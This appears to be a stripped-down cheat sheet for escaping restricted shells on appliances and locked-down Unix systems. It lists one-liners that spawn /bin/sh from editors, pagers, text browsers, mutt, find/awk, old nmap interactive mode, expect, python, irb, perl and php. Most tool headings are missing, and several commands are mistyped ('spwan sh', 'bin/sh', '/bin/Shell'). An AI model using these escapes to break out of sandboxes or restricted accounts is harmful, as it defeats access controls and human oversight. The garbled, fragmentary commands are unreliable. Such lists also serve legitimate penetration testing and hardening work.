Sometimes you find your self in a locked down/pseudo shell, for example some network appliance. But under the hood it might run a full unix OS. If this is the case you might be able to use some existing programs that might be available to escape from this pseudo shell.
:!/bin/sh
:set shell=/bin/sh
:shell
!'/bin/sh'
Load Prefs
CTRL+R
CTRL+X
reset; bash 1>&0 2>&0
Open a file that is larger then your terminal.
Run !'sh'
Run !'sh'
This to works since man uses more/less.
press !
followed by the command you want to run.
pagers can also be used a editors in console browsers.
FILE > OS Shell
open webpage.
press o
configure vim as editor
or
lynx --editor=/usr/bin/vim www.google.com
export EDITOR=/usr/bin/vim
open a site with a textbox.
Press ENTER
and then F4
.
elinks will use vim.
open mutt
press !
enter /bin/Shell
when ever it finds udp.xml it will cd to root and run ls.
find . -name udp.xml -exec awk 'BEGIN {system("cd /root; ls")}' \;
before version r17131
nmap --interactive
!sh
awk 'BEGIN {system("/bin/sh")}'
Expect
spwan sh
sh
python -c 'import os; os.system("/bin/sh");'
irb
exec 'bin/sh'
perl -e 'system("sh -i")'
perl -e 'exec("sh -i")'
php -a
exec("sh -i");